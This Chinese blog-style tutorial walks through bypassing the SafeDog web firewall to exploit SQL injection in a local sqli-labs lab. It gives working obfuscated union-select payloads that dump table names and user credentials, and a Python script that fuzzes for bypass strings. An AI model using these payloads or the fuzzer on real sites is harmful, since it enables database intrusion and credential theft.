声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
http://free.safedog.cn/
安装过程找不到服务 解决https://blog.csdn.net/qq_51550750/article/details/123843078http://free.safedog.cn/
https://github.com/Audi-1/sqli-labs
检测是否存在注入 ?id=1' 安全狗未拦截
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=1' and 1=1%23
安全狗拦截这是最应该「先做」也是「最简单的部分」,因为WAF大都是通过「黑名单」的方式进行拦截,所以如果出现了被拦截的情况,大概率是因为你的语句的「某个函数或其他位置」触发了黑名单的验证机制,导致被拦截,那应该怎么检测呢?其实「一个一个试」就行了
例如我这里的and 1=1被拦截,就可以依次输入
and
and(空格)
and 1
and 1=
and 1=1
通过这种方式看看哪个语句被拦截,从而判断是哪个部分触发的拦截,再做对应的绕过或者替换就可以了「演示」:比如这里我「输入and,正常」,「and+空格,正常」,输入「and 1出现拦截」页面,如下 说明“and 1”这个部分触发了拦截,此时的绕过方式可以选择替换或者绕过,这里我们先试试对中间的空格进行替换大家都知道语句的很多部分都有对应的替换方式,而且还不止一种,特别是空格的替换方式尤其多,我们不可能全部都能记住,——「FUZZ绕过」
Fuzz测试,也称为模糊匹配,意思就是在不知道攻击poc的情况下,我们通过编写脚本或者利用一些自动化工具来进行匹配目标的脚本,尝试获取poc,其实就是基于字典的爆破,在字典中构造语句来进行批量的测试 演示:比如这里我们想替换and和1之间的空格来绕过检测,就可以将空格的替换方式整理到字典中,在使用burp来批量跑进行测试,尝试获取payload 举个简单的例子,来看看下面这个语句
/sql/less-1/?id=1' and 1=1 %23
如果我们想要替换空格,最常见的就是/**/,如下
sql/less-1/?id=1'/**/and 1=1 %23
但却不一定好用,大概率被过滤,其实/**/中间是可以加特殊符号的,但加什么,其实需要慢慢试,这时候就可以用到fuzz了,直接选中/*1234*/中间的数据,将其作为变量进行爆破,如下这里payload的类型选择burpsuite自带的「Brute force」,用特殊符号组成「1-4位字典」进行爆破,如下点击start进行fuzz根据结果可以看到「Length=905」的都可以成功,/+-+配合包着的注释符就是/*/+-+*/可以替换空格,这就完成了一次绕过waf和制造payload,这也是sql注入bypass中最常用的技巧
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=1' and/*/+-+*/1=1%23
1=2的逻辑判断语句,再次验证是否成功绕过
?id=1' and/*/+-+*/1=2%23
import requests
import itertools as its
import queue,threadingdef Bypass_dog():
while not q.empty():
payload = q.get()
try:
url = f"http://10.211.55.9:8080/sqli-labs/Less-1/?id=1' and/*{payload}*/1=1%23"
res = requests.get(url=url)
if 'Your Password' in res.text:
print(payload)
except:
pass
if __name__ == '__main__':
q = queue.Queue()
numbers='5'
words = "-+/!#"
for number in range(1, int(numbers) + 1):
r = its.product(words, repeat=number)
for i in r:
i="".join(i)
q.put(i)
thread_list = []
for i in range(10):
t = threading.Thread(target=Bypass_dog)
thread_list.append(t)
for t in thread_list:
t.setDaemon(True)
t.start()
for t in thread_list:
t.join()
我们直接把后面的逻辑判断语句尝试修改为order by,不出意外,被拦截,如下
/sql/less-1/?id=1'order by 2 %23
「尝试」
1' order
1' order by
使用/*/+-+*/替换空格绕过
?id=1' order/*/+-+*/by 3%23
使用/*/-+-*/替换空格绕过
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,2,3 --+
绕过
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,database/*/--/*/(),3 --+
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(table_name) from information_schema.tables where table_schema=database/*/--/*/()),3%23
通过fuzz测试发现对information_schema.tables过滤很严格
在GET请求时,将URL的SQL,关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。
/*!%23%0aselect*/
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(table_name) from /*!--+*//*%0ainformation_schema./*!tables*/ where table_schema=database/*/--/*/()),3%23
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(column_name) from /*!--+*//*%0ainformation_schema./*!columns*/ where table_schema=database/*/--/*/()),3%23
http://10.211.55.9:8080/sqli-labs/Less-1/
?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(username,0x3a,password) from users),3%23
欢 迎 加入学习
推 荐 阅 读